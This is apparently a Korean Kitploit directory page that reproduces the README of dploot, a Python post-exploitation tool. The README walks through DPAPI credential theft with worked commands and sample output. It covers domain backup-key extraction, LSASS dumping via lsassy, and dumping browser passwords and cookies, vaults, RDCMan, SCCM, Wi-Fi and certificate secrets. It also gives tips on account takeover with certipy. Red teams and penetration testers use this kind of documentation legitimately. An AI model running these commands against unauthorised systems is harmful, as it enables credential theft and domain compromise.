Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
dploot — Python으로 원격 및 로컬에서 DPAPI 자격 증명 탈취 | Kitploit
도구/GitHubGitHub/zblurx/dploot
Encryption/Decryption ToolsPost-ExploitationDigital ForensicsPenetration TestingCloud SecurityRed Teaming
GitHubzblurx/dploot

dploot

Python으로 원격 및 로컬에서 DPAPI 자격 증명 탈취

저장소 보기
555755개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

dploot

dploot는 Harmj0y가 C#으로 작성한 SharpDPAPI를 Python으로 다시 구현한 것입니다. SharpDPAPI는 gentilkiwi의 Mimikatz에서 DPAPI를 포팅한 것입니다. 이 도구들의 모든 DPAPI 로직을 구현하지만, 이번에는 Python 인터프리터와 Linux 환경에서 사용할 수 있습니다.

DPAPI가 무엇인지 모른다면 이 글을 확인하세요.

목차

  • dploot
    • 목차
    • 설치
    • 사용법
      • Kerberos
    • 사용 방법
      • 컴퓨터에서 로컬 관리자로
      • Windows 파일 시스템에 오프라인으로 액세스할 수 있는 경우
      • 도메인 관리자(또는 동등한 권한)인 경우
      • 도메인 관리자가 아닌 경우
    • 명령어
      • 사용자 Triage
        • masterkeys
        • credentials
        • vaults
        • rdg
        • certificates
        • browser
        • triage
      • 머신 Triage
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • machinecertificates
        • machinetriage
      • 기타
        • wifi
        • sccm
        • backupkey
        • mobaxterm
        • wam
        • blob
    • 크레딧

설치

PyPI에서 pipx로 dploot을 직접 설치할 수 있습니다:```text pipx install git+https://github.com/zblurx/dploot.git

root@kitploit:~
또는```text
pipx install dploot

Kali Linux에서는 저장소에서 dploot를 설치할 수 있습니다:```text sudo apt install python3-dploot

root@kitploit:~
## 사용법```text
dploot (https://github.com/zblurx/dploot) v3.1.2 by @_zblurx
usage: dploot [-h]
              {backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi} ...

DPAPI looting locally remotely in Python

positional arguments:
  {backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
                        Action
    backupkey           Backup Keys from domain controller
    blob                Decrypt DPAPI blob. Can fetch masterkeys on target
    browser             Dump users credentials and cookies saved in browser from local or remote target
    certificates        Dump users certificates from local or remote target
    credentials         Dump users Credential Manager blob from local or remote target
    machinecertificates
                        Dump system certificates from local or remote target
    machinecredentials  Dump system credentials from local or remote target
    machinemasterkeys   Dump system masterkey from local or remote target
    machinetriage       Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
    machinevaults       Dump system vaults from local or remote target
    masterkeys          Dump users masterkey from local or remote target
    mobaxterm           Dump Passwords and Credentials from MobaXterm
    rdg                 Dump users saved password information for RDCMan.settings from local or remote target
    sccm                Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
    triage              Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
    vaults              Dump users Vaults blob from local or remote target
    wam                 Dump users cached azure tokens from local or remote target
    wifi                Dump wifi profiles from local or remote target

options:
  -h, --help            show this help message and exit

Kerberos

dploot는 Kerberos로 인증할 수 있습니다. -k 옵션을 사용하면 됩니다. 캐시된 티켓을 사용하려면 -use-kcache 옵션을 사용하세요.

사용 방법

dploot의 목표는 Linux 박스에서 DPAPI 관련 전리품(자격 증명 등)을 단순화하는 것입니다. SharpDPAPI와 마찬가지로 이 도구를 사용하는 방법은 도메인을 손상시켰는지 여부에 따라 달라집니다.

컴퓨터에서 로컬 관리자로

Windows 컴퓨터의 로컬 관리자인 경우, 예를 들어 machinecertificates (또는 다른 Machine Triage 명령, 또는 wifi 명령)을 사용하여 머신 비밀을 탈취할 수 있습니다:```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -quiet [-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx

root@kitploit:~
### Windows 파일시스템에 대한 오프라인 액세스 사용

시스템에 대한 로컬 관리자 액세스를 얻는 또 다른 방법으로, 예를 들어 물리적 액세스를 통해 드라이브를 분리하고 파일시스템을 자신의 머신에 직접 마운트하는 방식이 있습니다. 이 모드를 사용하려면 대상으로 `LOCAL`을 지정합니다. 기본적으로 대상 파일시스템은 현재 디렉터리로 간주되며, `-root`를 사용해 다른 경로를 지정할 수 있습니다:```text
$ dploot sccm -root /media/C_drive/ -t LOCAL
[*] Connected to LOCAL as \ (admin)

유효한 사용자 이름과 비밀번호를 인수로 제공하는 것이 여전히 유용할 수 있으며, 이는 마스터키를 복호화하는 데 사용됩니다(아래 User Triage의 지침 참조):```text $ dploot masterkeys -root /mnt -u bob -p Password -t LOCAL [*] Connected to LOCAL as \bob (admin)

root@kitploit:~
### 도메인 관리자(또는 이에 준하는 권한)로서

도메인 관리자 권한이 있다면 backupkey 명령으로 도메인 DPAPI 백업 키를 얻을 수 있습니다. 이 키는 도메인 사용자와 컴퓨터의 모든 DPAPI 마스터키를 해독할 수 있으며 절대 변경되지 않습니다. 따라서 이 키를 사용하면 공격자가 도메인 사용자와 관련된 모든 DPAPI로 보호된 비밀번호를 탈취할 수 있습니다.

도메인 백업 키를 얻으려면 [backupkey](#backupkey) 명령을 사용할 수 있습니다:```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.112 -quiet
[-] Exporting domain backupkey to file key.pvk

그런 다음 네트워크의 Windows 도메인 가입 컴퓨터에 저장된 사용자 비밀정보를, 예를 들어 certificates 명령(또는 다른 User Triage 명령)을 사용하여 탈취할 수 있습니다:``` $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -pvk key.pvk -quiet [-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx [-] Writting certificate to jsmith_waza.local_D0C73E2C04BEAAB0.pfx [-] Writting certificate to m.scott_waza.local_EB9C21A5642D4EBD.pfx

root@kitploit:~
### 도메인 관리자가 아닌 경우

도메인 관리자 권한을 (아직) 획득하지 못한 경우, Mimikatz의 sekurlsa::dpapi 명령을 사용하면 특정 시스템에서 로드된 마스터 키(사용자 및 SYSTEM)의 DPAPI 마스터키 {GUID}:SHA1 매핑을 검색할 수 있습니다 (팁: 키 추출 후 dpapi::cache를 실행하면 보기 좋은 테이블이 표시됩니다). 이 키를 {GUID1}:SHA1 {GUID2}:SHA1... 형식으로 변경하면 dploot에 제공하여 시스템을 분류(triage)할 수 있습니다. 또한 [lsassy](https://github.com/Hackndo/lsassy)를 사용하여 복호화된 마스터키를 수집할 수도 있습니다:```text
$ lsassy -u Administrator -p 'Password!123' -d waza.local -t 192.168.56.14 -m rdrleakdiag -M masterkeys
[+] 192.168.56.14 Authentication successful
[+] 192.168.56.14 Lsass dumped in C:\Windows\Temp\ff32F.fon (57121318 Bytes)
[+] 192.168.56.14 Lsass dump deleted
[+] 192.168.56.14 WAZA\DESKTOP-OJ3N8TJ$        [NT] 0e43c22a4b09520cf79ca19a9e1bbec7 | [SHA1] 2ce587ab64aa3488c5ed412ca1e554d0f8e5a411
(snip)
[+] 192.168.56.14 5 masterkeys saved to /data/masterkeys

그런 다음 이 masterkey 파일을 사용하여 대상 컴퓨터를 약탈할 수 있습니다(예: browser 명령 또는 다른 User Triage 명령 사용):```text $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -mkfile /data/masterkeys [*] Connected to 192.168.56.14 as waza.local\Administrator (admin)

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA] URL: Username: [email protected] Password: Waza1234

root@kitploit:~
또한 [dploot masterkeys](#masterkeys)의 `-hashes-outputfile` 옵션을 사용하여 masterkey 해시를 덤프할 수 있습니다.

## 명령어

### 사용자 트리아지

#### masterkeys

**masterkeys** 명령은 사용자 masterkey 파일을 가져와 `-passwords FILE`(user:password 조합), `-nthashes`(user:nthash 조합) 또는 `-pvk PVKFILE` 도메인 백업 키로 복호화합니다. 그 결과 masterkey {GUID}:SHA1 매핑 집합을 반환합니다. 대상에 연결할 때 사용한 password 또는 nthash를 해당 옵션을 지정하지 않아도 사용하려 시도한다는 점에 유의하세요. 원한다면 `-hashes-outputfile`을 사용하여 모든 masterkey 해시를 Hashcat/JtR 형식으로 가져와서 평문 암호를 크랙할 수 있습니다.

*도메인 백업 키 사용 시*:```text
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

비밀번호 사용:```text $ cat passwords jsmith:Password#123 $ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -passwords passwords [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

root@kitploit:~
***팁***: *`outputfile` 플래그를 사용하면 dploot masterkeys는 탈취한 마스터키를 지정된 파일에 추가합니다. 모든 마스터키를 같은 파일에 저장해도 문제없습니다. DPAPI BLOB에는 복호화에 필요한 마스터키의 GUID가 저장되기 때문입니다.*

#### credentials

**credentials** 명령은 사용자의 Credential 파일을 검색하고, 하나 이상의 {GUID}:SHA1 형식의 `-mkfile FILE`, user:password 조합의 `-passwords FILE`, user:nthash 조합의 `-nthashes`, 또는 마스터키를 먼저 복호화하기 위한 `-pvk PVKFILE`로 복호화합니다.

`mkfile` 사용 시:```text
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Credentials for ALL USERS

[CREDENTIAL]
LastWritten : 2022-04-12 16:55:44
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=test
Description :
Unknown     :
Username    : test
Unknown     : Password#{123}

[CREDENTIAL]
LastWritten : 2022-04-27 19:23:02
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=TERMSRV/srv01.waza.local
Description :
Unknown     :
Username    : DESKTOP-I60R2L6\Administrator
Unknown     : Password!123

pvk 사용 시:```text $ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Credentials for ALL USERS

[CREDENTIAL] LastWritten : 2022-05-19 10:25:06 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:target=myserver.com Description : Unknown : Username : Administrator Unknown : Naga2019*

root@kitploit:~
#### vaults

**vaults** 명령은 사용자의 Vaults 비밀번호를 검색하고 `-mkfile FILE`(하나 이상의 {GUID}:SHA1), `-passwords FILE`(user:password 조합), `-nthashes`(user:nthash 조합) 또는 `-pvk PVKFILE`(마스터키를 먼저 해독)을 사용하여 해독합니다.

`mkfile` 사용 시:```text
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage Vaults for ALL USERS

[VAULT_VPOL_KEYS]
Key1: 0x552f5d5b454d3a53aec4ff458539de02
Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b

[Internet Explorer]
Username        : test
Resource        : http://testphp.vulnweb.com/
Password        : b'74006500730074000000'

Decoded Password: test

pvk 사용 시:```text $ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22

[*] Triage Vaults for ALL USERS

[VAULT_VPOL_KEYS] Key1: 0x552f5d5b454d3a53aec4ff458539de02 Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b

[Internet Explorer] Username : test Resource : http://testphp.vulnweb.com/ Password : b'74006500730074000000'

Decoded Password: test

root@kitploit:~
#### rdg

**rdg** 명령은 사용자의 RDCMan.settings 파일 비밀정보를 검색하고, 하나 이상의 {GUID}:SHA1 형식의 `-mkfile FILE`, 또는 user:password 조합의 `-passwords FILE`, user:nthash 조합의 `-nthashes`, 또는 마스터키를 먼저 복호화하기 위한 `-pvk PVKFILE`을 사용하여 이를 복호화합니다.

`mkfile` 사용 시:```text
$ dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage RDCMAN Settings and RDG files for ALL USERS

[CREDENTIAL PROFILES]
	Profile Name:	WAZA\Administrator
	Username:	WAZA\Administrator
	Password:	Placeholder1234567890

[LOGON PROFILES]
	Profile Name:	Custom
	Username:	WAZA\Administrator
	Password:	Password!123

[SERVER PROFILES]
	Name:		DC01.waza.local
	Profile Name:	Custom
	Username:	WAZA\jdoe
	Password:	Password#123

[SERVER PROFILES]
	Name:		SRV01.waza.local
	Profile Name:	Custom
	Username:	WAZA\jfile
	Password:	Password#123

pvk 사용:```text dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage RDCMAN Settings and RDG files for ALL USERS

[CREDENTIAL PROFILES] Profile Name: WAZA\Administrator Username: WAZA\Administrator Password: Placeholder1234567890

[LOGON PROFILES] Profile Name: Custom Username: WAZA\Administrator Password: Password!123

[SERVER PROFILES] Name: DC01.waza.local Profile Name: Custom Username: WAZA\jdoe Password: Password#123

[SERVER PROFILES] Name: SRV01.waza.local Profile Name: Custom Username: WAZA\jfile Password: Password#123

root@kitploit:~
#### certificates

**certificates** 명령은 *MY*에서 사용자 인증서를 검색하고, 하나 이상의 {GUID}:SHA1로 구성된 `-mkfile FILE`, user:password 조합의 `-passwords FILE`, user:nthash 조합의 `-nthashes`, 또는 마스터키를 먼저 복호화하기 위한 `-pvk PVKFILE`을 사용하여 인증서를 복호화합니다.

`mkfile` 사용:```text
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Certificates for ALL USERS

Issuer:			CN=waza-ADCS1-CA,DC=waza,DC=local
Subject:		CN=John Smith,CN=Users,DC=waza,DC=local
Valid Date:		2022-05-24 09:51:33
Expiry Date:		2023-05-24 09:51:33
Extended Key Usage:
	Unknown OID (1.3.6.1.4.1.311.10.3.4)
	emailProtection (1.3.6.1.5.5.7.3.4)
	clientAuth (1.3.6.1.5.5.7.3.2)
	[!] Certificate is used for client auth!

-----BEGIN CERTIFICATE-----
MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F
ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph
MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy
(snip)
c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H
DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0
/j2bsWqbT/fCx+AgCT65VRk=
-----END CERTIFICATE-----


[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx

pvk 사용:```text $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Certificates for ALL USERS

Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=John Smith,CN=Users,DC=waza,DC=local Valid Date: 2022-05-24 09:51:33 Expiry Date: 2023-05-24 09:51:33 Extended Key Usage: Unknown OID (1.3.6.1.4.1.311.10.3.4) emailProtection (1.3.6.1.5.5.7.3.4) clientAuth (1.3.6.1.5.5.7.3.2) [!] Certificate is used for client auth!

-----BEGIN CERTIFICATE----- MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy (snip) c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0 /j2bsWqbT/fCx+AgCT65VRk= -----END CERTIFICATE-----

[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx

root@kitploit:~
기본적으로 이 도구는 클라이언트 인증에 사용되는 인증서만 탈취하지만, `-dump-all`을 사용하면 모든 인증서를 수집할 수 있습니다.

***팁***: *클라이언트 인증 EKU가 있는 인증서를 얻으면 [certipy](https://github.com/ly4k/Certipy)로 계정을 장악할 수 있습니다.*

#### browser

**browser** 명령은 Chrome 기반 브라우저에서 사용자 비밀번호와 쿠키를 검색하며, 하나 이상의 {GUID}:SHA1로 구성된 `-mkfile FILE`, user:password 조합의 `-passwords FILE`, user:nthash 조합의 `-nthashes`, 또는 마스터키를 먼저 복호화하기 위한 `-pvk PVKFILE`로 이를 복호화합니다.

`mkfile` 사용:```text
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA]
URL:		
Username:	admin
Password:	Password!123

pvk 사용:```text $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA] URL: Username: admin Password: Password!123

root@kitploit:~
저장된 쿠키를 표시하려면 `-show-cookies` 옵션을 사용하세요. 

2024년 7월부터 [Chromium 기반 브라우저는 App Bound Key 암호화를 지원합니다](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html). TLDR : Chromium 쿠키(그리고 곧 비밀번호)를 덤프하려면 사용자 및 SYSTEM 마스터키를 복호화해야 합니다. 이 옵션은 `-v20-support` 플래그로 지원됩니다. 

#### triage

**triage** 명령은 사용자 [credentials](#credentials), [vaults](#vaults), [rdg](#rdg), [certificates](#certificates) 명령을 실행합니다.

### 머신 트라이지

#### machinemasterkeys

**machinemasterkeys** 명령은 RemoteRegistry로 LSA 시크릿을 덤프하여 DPAPI_SYSTEM 키를 검색하며, 이 키는 발견된 머신 마스터키를 복호화하는 데 사용됩니다. 마스터키 {GUID}:SHA1 매핑 집합을 반환합니다.```text
$ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

machinecredentials

machinecredentials 명령은 발견된 모든 machine Credentials 파일을 가져와서 하나 이상의 {GUID}:SHA1이 포함된 -mkfile FILE로 복호화합니다. 그렇지 않으면 dploot는 DPAPI_SYSTEM LSA 시크릿 키를 덤프하여 모든 machine masterkey를 복호화한 다음, 발견된 모든 암호화된 DPAPI XXX blob을 복호화합니다.```text $ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{07e6e8d6-7eae-4780-9aac-641818ddd9bb}:ddb9fa17d4e9ab12[...] {a87bcad8-5ed9-4f09-a9f7-34d77e20d0d4}:e4661cd36f07bb1f[...] {d03a0e3b-b616-4a29-8795-9ca09960de35}:a45fdd01699bfbc5[...] {69b3f620-eca1-45c1-a003-f1d0a8598c57}:2862216b21e96fa6[...] {9a270191-3f43-46d1-9935-5892dca2a9a2}:d3cb43dd6645d26d[...] {e85c4ab7-65d3-45df-9abe-829c2ead1c5f}:c2a118094fb7cf85[...]

[*] Triage SYSTEM Credentials

[CREDENTIAL] LastWritten : 2022-05-06 15:51:53 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:batch=TaskScheduler:Task:{31424469-6CCD-4137-8DFF-541872FD3CBB} Description : Unknown : Username : WAZA\Administrator Unknown : Password!123

root@kitploit:~
#### machinevaults

**machinevaults** 명령은 발견된 모든 머신 Vaults 파일을 가져와 하나 이상의 {GUID}:SHA1로 구성된 `-mkfile FILE`로 복호화하며, 그렇지 않으면 dploot가 DPAPI_SYSTEM LSA 비밀 키를 덤프하여 머신 마스터키를 복호화한 다음, 발견된 암호화된 DPAPI Vaults blob을 복호화합니다.```text
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage SYSTEM masterkeys

{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049

[*] Triage SYSTEM Vaults

[VAULT_VPOL_KEYS]
Key1: 0x8a3dad10ce6ae44ba1700d1060cc28c4
Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5

machinecertificates

machinecertificates 명령은 발견된 모든 머신 개인 키 파일을 가져와서 하나 이상의 {GUID}:SHA1 형식의 -mkfile FILE로 복호화합니다. 그렇지 않으면 dploot가 DPAPI_SYSTEM LSA 비밀 키를 덤프하여 머신 마스터키를 복호화한 다음, 발견된 암호화된 DPAPI 개인 키 blob을 복호화합니다.

또한 RemoteRegistry를 사용하여 머신 CAPI 인증서 blob을 덤프합니다.```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349 {c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049 {9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

[*] Triage SYSTEM Certificates

Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=DESKTOP-OJ3N8TJ.waza.local Valid Date: 2022-06-11 10:31:16 Expiry Date: 2023-06-11 10:31:16 Extended Key Usage: clientAuth (1.3.6.1.5.5.7.3.2) serverAuth (1.3.6.1.5.5.7.3.1) [!] Certificate is used for client auth!

-----BEGIN CERTIFICATE----- MIIFjTCCBHWgAwIBAgITewAAAAXrqLLiBZJG3AAAAAAABTANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph (snip) nXZ6/pA+XGqQwHG/hWG2TR5Ivjzoy+OjAgu44LqucC8Pw3wWToVWCKxdGgZcXqHE TXrQnLFK+nWqjrvJsM/O6HgNJbG/lqF/sogux3FLmW7a -----END CERTIFICATE-----

[-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx

root@kitploit:~
***팁***: *클라이언트 인증 EKU가 있는 인증서를 얻은 경우, [certipy](https://github.com/ly4k/Certipy)로 계정을 장악할 수 있습니다.*

#### machinetriage

machinetriage 명령은 [machinecredentials](#machinecredentials), [machinevaults](#machinevaults) 및 [machinecertificates](#machinecertificates)를 실행합니다.

### 기타

#### wifi

**wifi** 명령은 하나 이상의 {GUID}:SHA1에 대한 `-mkfile FILE`로 wifi xml 구성 파일을 가져와  복호화하며, 그렇지 않으면 dploot는 DPAPI_SYSTEM LSA secret key를 덤프하여 머신 마스터키를 복호화한 다음, 발견된 암호화된 DPAPI private key blob을 복호화합니다.```text
$ dploot wifi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
